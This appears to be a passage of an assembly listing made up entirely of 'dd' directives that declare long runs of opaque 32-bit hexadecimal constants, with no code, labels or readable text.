dd 42E8198Ch, 47C25C21h, 0BE1F15EFh, 10251F7Ah, 2B821271h
dd 0C72C61BDh, 58AF2BAFh, 0D7728072h, 0D545EF25h, 327D144h
dd 0A0CF52BDh, 83286507h, 0AD5408FCh, 60F52F99h, 9A9A6917h
dd 3D9379Dh, 0A26063B4h, 76F0DFE0h, 0BD0BB504h, 0C60D0639h
dd 0C5C83F2Ah, 19E0074h, 9C788CA8h, 0F7004C06h, 0F133A71h
dd 16555E79h, 0A830E6D1h, 8E51257Eh, 0A6E717B2h, 425C98B2h
dd 2410FD08h, 23CB00A2h, 0F279E949h, 49B3FF71h, 4EDB378h
dd 958D37DEh, 7287F876h, 0E81AC148h, 66018C1Ah, 2C0CE625h
dd 0B28B15E1h, 0A1E808D5h, 2820FC1h, 0D71A25AFh, 82D7F5BAh
dd 5D04ADB7h, 316050DCh, 3B38295h, 0F906191h, 1B7A0287h
dd 0B73E50FAh, 9D6E4E92h, 0E7395100h, 2C0F807Ah, 0D7C01E9Eh
dd 4E439E56h, 9674DE3Ch, 0B1CFC200h, 0B8D8464Bh, 0AFC19639h
dd 42E26E90h, 9316630Bh, 40D0EFB9h, 0FCEF96B9h, 0FA118A17h
dd 2DBDA302h, 61B39005h, 250B764Fh, 0A1E28CB3h, 0AD030CE4h
dd 0AEA15E2Dh, 0DD308F2Eh, 24BC085h, 0D8B70F47h, 0E8C0905Bh
dd 503CD969h, 3797F88Bh, 39DC0063h, 0F552B1C4h, 5AE842C9h
dd 0F3D400D5h, 0C2DF4618h, 0CA13480Ch, 100B9ECh, 0AB744A3Eh
dd 6A0A95Ch, 6ABB5F00h, 7745381Dh, 0F47E5627h, 27265501h
dd 36162C4Bh, 0A100DA33h, 10AB984Ch, 0A00C7DDh, 7CC94F3Bh
dd 2544E1EDh, 9BE6FAEFh, 0F4FD9095h, 0D23800F3h, 2262F659h
dd 97099B6Fh, 5EAFCA1Dh, 1C77CA4Ah, 9C98600Dh, 618129E2h
dd 0FFB6312Fh, 6F882BD1h, 2702008Fh, 6EEEC8E7h, 0B507EC86h
dd 0CF5B1ECCh, 42F5EAC1h, 282FF1E9h, 2DE1B2A7h, 0BE8CCh
dd 202FF0AEh, 58BB4897h, 13DB1C05h, 0E509CDB3h, 0C017ED02h
dd 4FB4969Ch, 0A9C82800h, 90F9E203h, 9ABF0160h, 61693102h
dd 3C08DC50h, 4B44C13Fh, 213CE86Eh, 0E04E3409h, 2CB30E4Eh
dd 0F92058h, 73CB3D0Ah, 820FC6B3h, 0DA022DBBh, 740D1AE9h
dd 4F6B5815h, 25BD3180h, 0C6DD2245h, 2E530E17h, 0F8075639h
dd 8B2C70E2h, 99975BFBh, 0BE2E29F9h, 2050F34Dh, 0E6C4122Eh
dd 0E78101C0h, 0D58051Ah, 0B8C6642Fh, 4DF9808Eh, 0F450667Fh
dd 70C1009Ch, 9ECC3576h, 8B161069h, 34EDB1DFh, 58C16ACh
dd 6AC07292h, 9B8E14FFh, 5D1B509h, 8740A36Fh, 19E9C70h
dd 0B1B97B9h, 721459Dh, 286ABFF0h, 5B7A25A2h, 0F16FD0ECh
dd 25CB3E45h, 0A7B05C26h
dd 9000DD64h, 0D3738BA4h, 17DF939Ch, 0A0A9BD89h, 0E6265BA3h
dd 8C038270h, 1271E456h, 0F322B91Eh, 2BF22D4h, 0CCD5D381h
dd 0C55E68B8h, 0E989661Fh, 2CC379E7h, 480311AFh, 0BCDE2CB3h
dd 0A038DB24h, 9D09951Ah, 237DBC72h, 0EB41315Bh, 0F018E281h
dd 33B8492Fh, 0CDEDF78Dh, 33822EC8h, 81D12429h, 2F15491Bh
dd 85D53C67h, 1A5AA0BDh, 0A55C7B07h, 208F51Bh, 655FEBCEh
dd 0A15E4F8Bh, 68630B91h, 59212AE1h, 0A879253Fh, 11972428h
dd 8C142E9Ah, 0DB1EB698h, 0A1007C14h, 0EE9A813Eh, 37B305A8h
dd 7A583C8h, 31BFFE24h, 442C9FF2h, 0CA5C10E2h, 0F60CDC12h
dd 0CD7C09A7h, 45A3D0Ah, 0AB3EFD42h, 8EB4A35h, 612F0759h
dd 2B0921E7h, 0B004326Eh, 0C1A53405h, 3F263D05h, 5528BDDh
dd 0C090B22h, 59FB2829h, 1B33D70h, 6ECE6D3Ah, 2AE678A6h
dd 8C02C4F3h, 0AC2504E0h, 5CDD5C40h, 616C5518h, 822B3582h
dd 0CD25875Ch, 0B108C033h, 0FC5EF5AEh, 0A90AD834h, 0B89CA3D5h
dd 61200B2Ah, 0D22B2403h, 50C7251Fh, 0C52003A8h, 806B911Fh
dd 0CC569D88h, 0D6006171h, 66C13A4Fh, 2BF7BF2h, 786099FDh
dd 72F3880Dh, 0DC88D8h, 2771FAD9h, 0F9C64ECh, 11B4BF79h
dd 0A8437169h, 76F312D8h, 0B611F2B2h, 7EEF192Eh, 6ADE5671h
dd 0B98497DBh, 0A2F8B8CEh, 99BDD58Fh, 0C63F9C80h, 0F222B40Bh
dd 3D428EDh, 0E02CEBD9h, 7A2BE445h, 0AD6F00DFh, 966DFCAh
dd 972970B5h, 300143B9h, 42B60B38h, 4BB72995h, 56BE2C94h
dd 126AE8A2h, 0F70055Dh, 0F880ADh, 0CA1F0462h, 0F6546C29h
dd 25B53700h, 0B70EC33h, 4B949761h, 71CBF069h, 1AFE462Bh
dd 0E0544DBDh, 2B4C1A1Ch, 8BB4660Bh, 1BCD1D8h, 0DFC9A0FFh
dd 0EE202B6Fh, 0AFB946h, 0EC74D5C0h, 6A75FDC3h, 976AC04h
dd 2EBC5F93h, 915E79A3h, 0E8E13AA6h, 6BBB2F60h, 0C2260049h
dd 0BB9DA4Dh, 53DA9DE1h, 0CB59BD3Eh, 12882BC9h, 0C9250E91h
dd 0B7110309h, 53302B88h, 121FCB81h, 0F72C6C10h, 6A5F0Bh
dd 7C4E1800h, 8EEDA308h, 0E8D01613h, 0CDE92817h, 0B9609000h
dd 2184E99Eh, 5C65758h, 506158C8h, 518047FCh, 0F64D264Bh
dd 34B6FE34h, 0D0E412BBh, 1B86668h, 0E0611638h, 2D9768A8h
dd 87B5CA0h, 0F172C612h, 0E32EF125h, 0F75C52DAh, 0F489D449h
dd 4AF45A03h, 92B189C2h, 0F0B2DB85h, 4096F1C6h, 5323BC40h
dd 59FD00FFh, 35DFEF0Fh, 150024EBh, 3B12C076h, 255F16F7h
dd 22EFC8E9h, 0EB8B9C60h, 0ABA97A2h, 9F50647Bh, 75951209h
dd 41FDE728h, 4A4069F8h, 0A23BCDCDh, 80760FCEh, 0ACA7402Bh
dd 4BDF267Dh, 76D79DE2h, 11BDA060h, 54660B4Bh, 0A7849830h
dd 0F8065203h, 129089DFh, 0E719FD9Dh, 0BC6859D6h, 0EFFD2FCDh
dd 755AB40h, 0C2FBB725h, 70D8F3DAh, 35163A2Bh, 8C888358h
dd 0B2E9034Eh, 1525EACh, 772712D8h, 8E289501h, 0F686A82Bh
dd 8682D0F1h, 5BE0B1CBh, 5AD43F6h, 24BF09C5h, 97E0AC97h
dd 0E6BC3CB9h, 0EDCEEA05h, 529243CBh, 0DB680010h, 484A83E3h
dd 8A8788FFh, 71C6FD49h, 849CE03Fh, 1A31B589h, 8BC1EAB9h
dd 5750FCD9h, 5475D07Dh, 0DB031059h, 0EC2C1FEh, 1531B8CFh
dd 933A02F1h, 5277075Dh, 6BA1FE5Dh, 3EBEA15Ah, 0F114DE40h
dd 6F4000EBh, 0B820AA09h, 32F9222Bh, 0BA9A960Bh, 782DE8Eh
dd 996D61F8h, 29AF58E0h, 0C28F00DFh, 281C1BDCh, 1D25BD89h
dd 0A721ED1Fh, 33401ACDh, 93A8694h, 0BAB94B42h, 514BFA59h
dd 4DB504E0h, 0E9FC050Ch, 0F88A5904h, 88AFE7B9h, 0A30CC414h
dd 0EFA850A5h, 5E3FF912h, 0A388C8E2h, 80F9356Bh, 131E94EBh
dd 0F40A3CD3h, 0FB276B84h, 0EC1B010Bh, 6D9F00F2h, 7EF19121h
dd 990A0C49h, 0DF5F3C31h, 0B72B5A59h, 21E3B0ABh, 0B44B102Fh
dd 922F78E2h, 0D84A9B96h, 97A33BBBh, 5256D81Ah, 89D78160h
dd 60342F66h, 0DB562542h, 80BAB5E9h, 0A113A7Fh, 965BD0C5h
dd 0B878AD20h, 45A20053h, 227C8836h, 0BFE65239h, 3DEC73F7h
dd 3CFA00A1h, 8C1E172Dh, 41A41F96h, 0B59D0B1Fh, 0C2264AFEh
dd 99D50F60h, 95360108h, 0CC68D261h, 0BB403EA3h, 2AE0F27Dh
dd 9B965F72h, 0A64980CBh, 0ACF98B51h, 0DC4BB6ABh, 0D195A61Ch
dd 1E61A9C0h, 0F43EBBD6h, 0CC5E4B6Bh, 0D0ACF827h, 0A2400AB6h
dd 0F485F3AFh, 0FBC400DBh, 1C22710Fh, 5097CA1h, 57679818h
dd 9B60E81Ah, 5B811AB5h, 0CC24342Fh, 8D00DBEAh, 867782F1h
dd 4B48896Bh, 362BCD21h, 0BFDCF0B1h, 8D291354h, 52B3C135h
dd 20EF2F60h, 619DB50Ch, 12325B4Eh, 0CA564051h, 42FF97Ch
dd 0FD800F01h, 93345CD0h, 844B9BE6h, 9546B0Dh, 508CEFE6h
dd 2E0D4126h, 0DBA61134h, 0DC7F02E5h, 0B4C18EA6h, 84F97CB5h
dd 0E31213FDh, 0D92B2535h, 0FA7034A4h, 382A1535h, 8FD21EC0h
dd 3FE2EF1Fh, 81B13350h, 872D53F8h, 98FE9A5Bh, 0FBF309h
dd 5298FD8Ch, 7DBB918Bh, 7383965Fh, 0AD067750h, 0BFEA6047h
dd 0E61E26D2h, 6D25E38Fh, 601D64F2h, 1E0FFA0h, 273A2D71h
dd 2E7907EFh, 0EB81E530h, 32483C63h, 38A88A4Bh, 92A74E55h
dd 275666B0h, 0CAE382B5h, 0BC8659ACh, 9936B481h, 75E23D2Bh
dd 0F0F126E9h, 7CC70F21h, 99F152ECh, 2F966B93h, 663E40DDh
dd 971DECBFh, 15918D35h, 0E8A3B581h, 9A7E1005h, 0E6B80435h
dd 94F59509h, 4EBCB97Fh, 85C08B9Eh, 0C55F5DDBh, 0FC0F43B5h
dd 69F6EF12h, 0A019F64Ah, 24CAFFEAh, 472C989h, 0B80B859Dh
dd 4B75E3B9h, 719BAE36h, 49CABF80h, 0AD0DB250h, 0C8D6CDEFh
dd 0D13D0FD1h, 1B6D9509h, 90053175h, 7940AA2Fh, 4B45593h
dd 612625F9h, 4ACBF5C6h, 0C6FDA791h, 3B75F09h, 9E9AD180h
dd 73F5DFAFh, 0DA16978Bh, 0B55F6590h, 0F397BAD0h, 0F689E2FFh
dd 5BA5BFB9h, 0B821ADC1h, 0BB6117BCh, 6F686ADh, 51F7DA4Ah
dd 9EACDB59h, 0AA5D1C00h, 0F0367D3Ch, 0F1E3987h, 5DBE31DBh
dd 0C30D0408h, 0B42A6FE9h, 810260E0h, 0AF143CC2h, 0F392E10Dh
dd 0FD01847Bh, 7E1BCB8h, 0AC177BCAh, 0A60410Dh, 0D17E614Eh
dd 4D52A74Ch, 3B76C041h, 780532EBh, 0C74F99D2h, 5E609E02h
dd 4121CF0Bh, 0E8E6AA9Fh, 330980AEh, 5E5EB7D9h, 8156AD39h
dd 0DF2A0249h, 5C4650h, 8F2C32F7h, 0DB15E349h, 3C00D0Ah
dd 73A5A92Bh, 7B4D70D1h, 9C35A02Eh, 0DABCB802h, 481143B2h
dd 0F217684Eh, 0F214C52Ah, 0BC6A49A8h, 574226C7h, 82A51307h
dd 0CE5F5FC1h, 0B6359FE5h, 7783ED00h, 48894701h, 0E74A96B5h
dd 5EBE6925h, 0D1FF8038h, 20799529h, 2B16D797h, 0DC604F48h
dd 2469164h, 0CDA59DB8h, 23ED8C90h, 0EAABBA00h, 0F26F6351h
dd 50B7028Ah, 0A3FEE6BBh, 4787CF57h, 0AF0C149Fh, 92BE1476h
dd 0F3994A12h, 5E6A8414h, 0A3830F04h, 0BDC1275Ah, 9528BEFh
dd 2BDE5161h, 167D0EDDh, 0A33E7BA8h, 4F7A8BF6h, 2E3091Eh
dd 4227DB6h, 5054C090h, 6EA3810Fh, 0E2CDA6D5h, 0C725E09Bh
dd 0BA5F4BE5h, 0E62AD69Dh, 0E1BBA0C8h, 77AD124Ah, 0D1A7EE7Bh
dd 0A806ED4Bh, 7F3A979Ch, 1D48974h, 236542C4h, 6876DE8Ah
dd 0C271831Ah, 553BC05Eh, 0B1B201ECh, 0ADD80670h, 0DC0A7CCDh
dd 21459DCBh, 0FF6A5BCAh, 0E2E1A62Ah, 7F48E2CAh, 0D4D41929h
dd 1446804Eh, 12F96F9h, 0DD03B236h, 0C01F9A08h, 30975F2Bh
dd 82012FA2h, 1831DB82h, 0F806B007h, 1F452012h, 0F870E624h
dd 91DA108h, 988471E4h, 3094B9FAh, 0C780490Bh, 53602D13h
dd 1F9F8210h, 0BD633F00h
dd 0DB763E3Ch, 0FA210BD4h, 72F95BE9h, 4CC1B00h, 3842E7D1h
dd 0B100E5F6h, 0DAE44856h, 0FB62C84Ah, 758FF72h, 0BD0990B6h
dd 739529E9h, 0B7BB015Ch, 611ACB31h, 0F87530E2h, 0F9B90497h
dd 517AADB8h, 4F20178Ah, 2B01F319h, 807F3CC8h, 0CDC1438Fh
dd 416A0208h, 3B8311E5h, 0CD5F9641h, 0C4D3AD1h, 0C87F3115h
dd 780075E5h, 0ED65AC4Fh, 7FB4A270h, 0B45057Bh, 0C48E3C2Dh
dd 3828EE7Bh, 0C05F00B2h, 0E78AC2A5h, 467A55B5h, 0E33EF309h
dd 0CDE07020h, 2F0CFBCEh, 0ADD734AFh, 970C22E2h, 0D68824D0h
dd 929F3DE9h, 4F92D7ADh, 11BA7E63h, 2781B157h, 0A9EF8010h
dd 8B09D980h, 0C859722Fh, 62718D10h, 45950D03h, 19259B66h
dd 42877915h, 0BB00DCF3h, 30ACCA8Ah, 0BDAA6A3Fh, 389704C1h
dd 123CBB96h, 0E8195982h, 0EEE080E0h, 757016h, 8925CB0Fh
dd 12B98CB2h, 0E5A70A5Bh, 0A9EDD4A0h, 0D128BE14h, 18FD108Ah
dd 9A68C5Fh, 2819D12h, 0F8399CE2h, 3F026E4Bh, 0A0D50BABh
dd 2A7F9CFh, 17D79611h, 90D84377h, 0E272B4h, 94B09ED5h
dd 0C0A2848Dh, 0C520CBAh, 1FE512C0h, 250D2B6h, 0F9C08A0Dh
dd 9A166CD9h, 0AC804485h, 2F61AD34h, 186DD22Bh, 0DE5E80C0h
dd 470903E2h, 0A6D23F48h, 1AD19610h, 156944h, 5DA3B8E8h
dd 0F9F49F97h, 250B169Dh, 567BFE8Bh, 0E31815F9h, 880D2D12h
dd 0C2EC05A9h, 6093AF02h, 0FA880FF2h, 0CCB72728h, 0DF79F59Ah
dd 5A3E3800h, 0B5485Dh, 80893330h, 2B8B5C44h, 0EB86F702h
dd 5EC8D1DFh, 1B716920h, 0DCD4545Ah, 0B72FE97Bh, 4816F870h
dd 9CC1A0F9h, 70B5B424h, 0B00ADA26h, 0DAEDE810h, 8AAC5E60h
dd 1A500021h, 0D0D2F998h, 0B7769314h, 1715A704h, 41BCF5D6h
dd 0BA574CA2h, 60F05639h, 2F319D23h, 0B5E1FF80h, 0B601EB37h
dd 0DEEAD682h, 116D1ECDh, 1311BD82h, 9D852900h, 0A990B520h
dd 14975B92h, 0E104F4FEh, 0F060A66Bh, 91BCF9Fh, 0C72675C1h
dd 47422079h, 6652EF04h, 309B876h, 0D121B2B6h, 61EB01EAh
dd 2F4FD8C8h, 28EE0A29h, 82B760F6h, 9A00328Dh, 271CA8B1h
dd 4B60ED11h, 0F6DD85F5h, 9F30E0C1h, 23B10097h, 70D781F6h
dd 7C4B4EF3h, 6EFBFE84h, 98FB4B39h, 21B089C3h, 12662840h
dd 0F4D2B8BFh, 378A3225h, 0B1DA96ADh, 0BF752A7Eh, 30A068F6h
dd 7104688Dh, 86BB725h, 14A94281h, 0C70DD2Bh, 0D40926DFh
dd 0CAFED542h, 0DC6FD4C9h, 1AECF3B5h, 625D4E82h, 0EFF65F46h
dd 0C006B47Eh, 0AAF980B4h, 9D202DB0h, 4D849F0Dh, 0A118160Fh
dd 4B03FF31h, 93EDF91Fh, 504232AEh, 67373ADEh, 426DC269h
dd 0F1F7EACAh, 9B4100A7h, 4C8BFFB1h, 942A4A00h, 70D08E3Fh
dd 1527150h, 56310F5Bh, 0DF585A5Fh, 0F4D38191h, 5502C536h
dd 0CE5C12BBh, 0A9B85773h, 3E85109Dh, 50219F7Bh, 401C2E9h
dd 0AD1D5082h, 0D46EFCD8h, 0C154B81Dh, 0C65BD33h, 0B838742Fh
dd 0D76FD232h, 4A74CB0Eh, 0FA8ABBCEh, 412F0994h, 0F8B4979h
dd 86B5F18Ah, 0AA4AAEEBh, 0B72FD936h, 1B4925F5h, 18E42FEDh
dd 0A9E86463h, 89971427h, 0ED12982Ah, 261D079Bh, 424DD6FFh
dd 61DC1F6Fh, 580F9650h, 529D9D8Bh, 0DA0CF0DFh, 41B26FBh
dd 123DBD03h, 0F6B510BCh, 0C201A073h, 0DF68C4CEh, 5F588BFCh
dd 0D0A34321h, 1FA850ECh, 40D690B5h, 83C27463h, 0F12FCE2h
dd 52EBE368h, 4FF1881Ch, 1000DD7Fh, 6273EC44h, 7185E5BDh
dd 0BE350118h, 6C567D1Ch, 0CC5625DBh, 667D6050h, 0FE1DD425h
dd 616E6F65h, 7902432h, 8E68DAFAh, 4F51741Ah, 0D82FC6A5h
dd 0C9B3208Ch, 0DEE80CD9h, 0E8536AB9h, 34049D77h, 0D373BD10h
dd 91B843A9h, 7C943Fh, 5DCA7C7h, 0B0539051h, 5667803Ah
dd 57ECCF5Bh, 7C900A99h, 0DA0F12D0h, 58554B0Bh, 84D1AC71h
dd 2852B720h, 2C999D12h, 89C33CF3h, 0AEFCE9B5h, 9E581938h
dd 7F00F633h, 535E4FBAh, 0E14DE988h, 0A0FBB72Eh, 4ABC13E1h
dd 1008F867h, 205E2D91h, 6B9709AAh, 25F42838h, 7469E7F6h
dd 957B59Fh, 6554052Bh, 72580E40h, 0CD37029Eh, 7F85C2AEh
dd 1D043B54h, 6EFE5F43h, 963F0EA1h, 81834E25h, 60592AC1h
dd 0DEC25685h, 0B95F82D8h, 7134A9F5h, 3FA144A4h, 0D3251B23h
dd 0BB668362h, 0FEDA4739h, 6B8B5145h, 0F42F5604h, 501D7500h
dd 39277426h, 0F5FC5CEDh, 9A207CC0h, 0AE00C347h, 745B2D98h
dd 2580FC5Ah, 0B74D26C7h, 0B601964h, 4C123B91h, 6A521C1Ah
dd 72EF3BC4h, 0CF5EF81Bh, 1AD19DC1h, 5D27CB2Bh, 2D4A8FFh
dd 0C4FB6B08h, 1AD1A41Bh, 0ACA12C00h, 10D1F7h, 7B3C2883h
dd 0CD4E8B91h, 0E21FBF38h, 2030DB2h, 0F40535Fh, 74D2E2D7h
dd 0B06212F3h, 96042B6Dh, 21EBB4C5h, 3EC577D5h, 16D2FCE2h
dd 135052E4h, 0BB7101C1h, 3096D7B3h, 0A4AD557h, 954BAEA7h
dd 0E86DFD91h, 0E1840BBAh, 1B0FA2BDh, 9D89C420h, 0B5A711D9h
dd 4062CD2Dh, 0A7332619h, 2B59B97h, 93656D8h, 4CF851BDh
dd 64DBCD95h, 889C631Ah, 286E620Ah, 13CCB152h, 984D69E7h
dd 258811B2h, 0FA9D00C4h, 5478947Dh, 9C396712h, 77DB81E7h
dd 0C2832F69h, 1F6EAF2Fh, 9A99603h, 0F304298Dh, 61D88A60h
dd 684DCCBCh, 0F7B80B12h, 0E9B64EADh, 0B1F8BA0h, 4F8F0F2Eh
dd 6800AF48h, 0E1BD299Ah, 0AFBA9722h, 11DB755h, 0F9F6CE65h
dd 0CB6F3B6Ah, 34157205h, 2B2AC2B5h, 2E0FA341h, 4C7394C8h
dd 0F6A52E32h, 0A0A8A087h, 3BDDFE58h, 7392AE93h, 0D10EC85Eh
dd 6C50C31Eh, 2E09BB01h, 57C45FD7h, 47B6B6C8h, 9D4D800Ah
dd 0D9098809h, 0EFB2C9Eh, 6B68EEF0h, 9178C0A3h, 0AC539D07h
dd 0B3437D0h, 5296EAEFh, 5F7C6F50h, 4B5554A8h, 972C7A00h
dd 0E02A5EB4h, 8A2514F2h, 0C400EEA0h, 1965BE2h, 334B119Dh
dd 0A88D514Ah, 599A7BA5h, 9DF81814h, 0BF661818h, 45B93927h
dd 0ED3F1216h, 526AEDB3h, 85980497h, 96B3F051h, 0C236BF00h
dd 0BB506327h, 7CA878B4h, 0A67AB905h, 456E01F6h, 324467CAh
dd 0DDE49288h, 8A1C1CBBh, 349BE886h, 0EB2B04C8h, 0A021F7Bh
dd 6BEF80C9h, 0F669B25Eh, 8EC525EFh, 7BAA8E12h, 730C0109h
dd 0F1392302h, 142A4501h, 9E5B72B8h, 7106836Dh, 48CDF09Bh
dd 6B8D1885h, 2C55628Eh, 0B2A3C082h, 20A925D8h, 0EF739DE2h
dd 9C5B570h, 7E21B031h, 0B1E65189h, 71C3CD69h, 0E9F961A7h
dd 5AC52B98h, 3E701FAh, 3F05B59Dh, 95821DF2h, 79292949h
dd 0A0053FB9h, 0B934341h, 0AC5EFACEh, 41046D69h, 0A47A8425h
dd 16DED23Ch, 3047EBAEh, 316DAF3Eh, 569CA800h, 0BC5DA64Dh
dd 0B2A90709h, 0A5C0776Ch, 80EDDE6Ah, 78E59EB0h, 0A763F5Fh
dd 29ED07A8h, 49E0309h, 0B90B6F2Ah, 0AAEBCD8h, 57D7D639h
dd 1E8D09BEh, 0DB1132DDh, 0FF12508Fh, 0D5D16212h, 480B4A8h
dd 82E4B04Eh, 9C4F2C7Fh, 0D062B3E3h, 5F050DC5h, 99D31F83h
dd 232B9095h, 0D8B1355Ah, 80C120EFh, 93635500h, 5BE999D4h
dd 8CBB07B0h, 75026B7Ah, 160DAE50h, 86D4BEDBh, 0E67F8A0Bh
dd 73BB0529h, 0C25018BFh, 0EEDE5D8Fh, 5EF98A42h, 0BA005583h
dd 83E112D6h, 91B51009h, 449BA506h, 0BC8893C4h, 0A0FFCE3Ch
dd 0CF9EA8BBh, 6D1AC44Ch, 0E2A5BC1Ah, 73C42974h, 62E54800h
dd 0BC4F88EFh, 92470E03h, 7A407EB7h, 81C01BF0h, 212554C5h
dd 4B021FB4h, 164A250h, 96E7E567h, 0C9212C5Dh, 0C0AEDB2Eh
dd 287ABF02h, 0DE38584Dh, 7F6B9CC0h, 1F0019F4h, 2A493489h
dd 12AF1A11h, 0A082D79Bh
dd 6C820278h, 91290E3h, 0C87E9D8h, 3462CA79h, 8580096Fh
dd 8589182Ch, 5384615Fh, 0DAD3A7B9h, 5206808Eh, 2D23A0D9h
dd 2A4A90F5h, 8AC32A6Bh, 0F6D380B9h, 86DC805Eh, 0BEAB0436h
dd 0AEA84A3Ah, 200CF972h, 0D341107Fh, 4605CA00h, 65951262h
dd 74B5977Ch, 28891491h, 11F59E02h, 8D09FF20h, 5B0E5CC5h
dd 331D718Ch, 5C6D92BDh, 4211C42Fh, 0D7B06EB7h, 110DD24h
dd 57BF70E6h, 9D03F1E4h, 0BD3F0E58h, 0F0254661h, 59A5F0F9h
dd 6CEA08BDh, 89AB8964h, 60403010h, 2D4BC1B2h, 0BE8ED8h
dd 3F14CC0Bh, 4D19E20Eh, 92779Dh, 2F78C65Fh, 905E615Fh
dd 2C238293h, 810788BFh, 258C975Eh, 0D002C08Ah, 0B589C82Bh
dd 9D428179h, 0D940A69h, 591391D1h, 5A8CF626h, 614D74DCh
dd 0C5853328h, 5F986E03h, 546E018Ch, 1CEEC6F8h, 92DAC88Dh
dd 5BA92958h, 3F74A3B2h, 0CEEE380h, 0F912D914h, 2212F301h
dd 42E92F0Ah, 93D72B10h, 85F8B64Ah, 0EA5431CBh, 4410CC25h
dd 0E7078128h, 8AC1C49h, 1B00A5F5h, 950B60FEh, 835FBC25h
dd 8961F9BFh, 706A18D5h, 0CB4B13EBh, 4ECA11D8h, 0A041A7E8h
dd 12495B50h, 0FE810F60h, 89842BF2h, 9F57BE8Dh, 302E99A1h
dd 0FDC38138h, 1C092E0Fh, 0D50829B9h, 29076B3Dh, 0CF27BFDFh
dd 18BC70E4h, 3BF7800Eh, 0B8704E97h, 0ECDBAD12h, 3C8E0BB3h
dd 0E7D105E1h, 0FAD49F28h, 19458440h, 45CBA0Bh, 7B2D3562h
dd 0C38084DFh, 0FCC4B91Eh, 5C018C1Ah, 0A55B9C1Bh, 0BE417BCBh
dd 1052251h, 66920936h, 0B81B3935h, 0F6140085h, 381EEBF7h
dd 0EE01B9D7h, 46DAF381h, 162F4A92h, 0E80CAD00h, 0B2E20411h
dd 0BB1B9D17h, 0E6FB7209h, 65B3354Bh, 4C29AE16h, 72A75676h
dd 75E7682h, 5535955Eh, 11EF2100h, 2CCCE1E5h, 99D9D6Ah
dd 2576BD89h, 11E765A5h, 16BB021Eh, 4623F74Ch, 0C7810257h
dd 4B99A46Ch, 7469F25Ch, 25F0224Eh, 0B9C5E1FFh, 1B9A218h
dd 0C4315AB5h, 0A39DAC54h, 182750AAh, 77568A39h, 8B126151h
dd 5126475h, 0C3BB6660h, 2A1BD2A9h, 0BCEF6C7Fh, 16B0D40Bh
dd 87EB6E03h, 0BBBD0953h, 6054582Dh, 3FA23DC0h, 0B701418Ch
dd 160A18E7h, 8FF0E6F4h, 0A48D5C30h, 0B0FB5C0h, 8E4B5BEFh
dd 6EFE9684h, 726B14F3h, 2C291AB6h, 0A27C87E1h, 4E9172C9h
dd 0ED6DFDF1h, 342BF8C9h, 1876401Fh, 83DA0F1Eh, 0B9DD3A00h
dd 52D90494h, 7E8C7B02h, 287BE9A2h, 0CE3EAC73h, 0EF57095Fh
dd 0A68D71F7h, 10B90897h, 0E6BF5001h, 596BDFF8h, 0D68DE4AEh
dd 0BF1DAC44h, 7840A17Bh, 4C3CB268h, 0DA8B2559h, 4D1EF050h
dd 164533Fh, 2B7C6A04h, 325274C5h, 1CACBEADh, 0DE62388Ch
dd 0ACFA05F3h, 0AAF2B766h, 5C1210C2h, 9D82EF30h, 0B3252C5Dh
dd 3AF67ED4h, 0FC2116E1h, 8148B79Bh, 0FDF8C024h, 0E94533ACh
dd 8C50352Eh, 0F91C2D13h, 0B980A55Dh, 2E624A14h, 8FCDB53Ah
dd 4A601964h, 0DB135D7Fh, 2004C9F5h, 75AE206Dh, 2BEF8B3h
dd 5EFC52FAh, 62635C61h, 0ED7D89F5h, 0D5FEEBFDh, 0DC1E2909h
dd 88F6C9B3h, 90124224h, 0B70F5B60h, 468927D9h, 0C0EF4A4Dh
dd 62C8BB46h, 0A1E80534h, 0BCB1D380h, 0C076CF0Eh, 0FD1C3EA2h
dd 52011E68h, 0B186171Ah, 0C2FA1B93h, 0C2CCA0DCh, 0AF85563Ah
dd 0DEB074h, 5416AAEFh, 0CE3468E0h, 8B2D83E8h, 99170DFh
dd 7C3E35CBh, 1559C209h, 0D4CB5EEBh, 0A3A4A800h, 0D0F10B29h
dd 92C92F3Dh, 0C4348A82h, 0ABDEC44h, 5772CD17h, 800C64B5h
dd 5ADB60CEh, 1D5FF0E1h, 277ECFB5h, 0F403D035h, 0E82D03C2h
dd 4B14E67h, 1FBF6634h, 0A4F2A861h, 514F09h, 0E95FFE84h
dd 115C226h, 69C8E595h, 6A12ACBBh, 0E3783Ah, 0ACA359BAh
dd 0B32000ABh, 7E9A314Fh, 92B56051h, 0A833FDAEh, 9D57DAD8h
dd 8CFA5B4Eh, 0C935FBBh, 258F1678h, 0F965DE8Bh, 0BB022611h
dd 1A6B417Bh, 1425E396h, 0A65D5304h, 0A04B6084h, 2F0062A5h
dd 0DC20EE42h, 9F71171h, 0F48C641Ch, 60898259h, 0F24B09F9h
dd 8D614A49h, 0CA1D31D0h, 1A95CE58h, 0ACBDD145h, 0DDAD00B8h
dd 8B9673EFh, 0BB50FE39h, 0E7DB4BD9h, 19825E8Bh, 15D7D1B3h
dd 0EBD341A8h, 0F563C82Ah, 7D6C9A95h, 3190C0C6h, 0D8E2614Ah
dd 4F2FA392h, 5AE0A6F6h, 9D019E58h, 0BDE20A1Ch, 846AD465h
dd 82FFF83Fh, 56F2E3EFh, 375D6955h, 26360044h, 8E3E682h
dd 5A6AD031h, 67CD271Ah, 7A5F0C2Dh, 106A002Fh, 0B529B942h
dd 0E21F5A6Dh, 36F84F1Eh, 9ACA2680h, 0A71D2E59h, 8C77C70h
dd 8F907D31h, 2F635C1Ch, 0F6614B48h, 605B0110h, 7735BF43h
dd 0BD27EC53h, 9A4D443h, 0B4705A61h, 0C202DC56h, 118509A6h
dd 3B37572Dh, 43821791h, 98F7642Dh, 1DDE644h, 24BD9B4Dh
dd 2BC18337h, 3CB78D12h, 0AEB3D1B0h, 0BC34F29Dh, 88244042h
dd 0B65BC16Ah, 55EF2C6h, 365181BFh, 3C27AC76h, 4CA64B39h
dd 0DC5E3448h, 2B405D1Bh, 134FB096h, 8501E24h, 16B0046Dh
dd 0B796A949h, 70E7A94Dh, 7CFFCCC0h, 8E13BFCBh, 7A5E04E8h
dd 59A6C102h, 74E0DB62h, 1B46D600h, 150F5F00h, 82C5ACAFh
dd 33E7035Ah, 94A8265Dh, 6258DE05h, 98041DA4h, 0BF000C15h
dd 6A2FA256h, 4B5E9495h, 136C7B52h, 0AC08E8F2h, 4098AE10h
dd 0FF4786ABh, 69204100h, 0F47834F2h, 0EF10B796h, 0DB003C08h
dd 0F7736F4Ah, 1DD59F3Eh, 4FFF2529h, 804255ACh, 2F00BE2h
dd 5DB6F84Bh, 17EB810Eh, 0AE7654E4h, 1EBD5475h, 0BE02C0A8h
dd 0FECF7E1h, 1393448Dh, 91853160h, 4961F5C0h, 0E2466141h
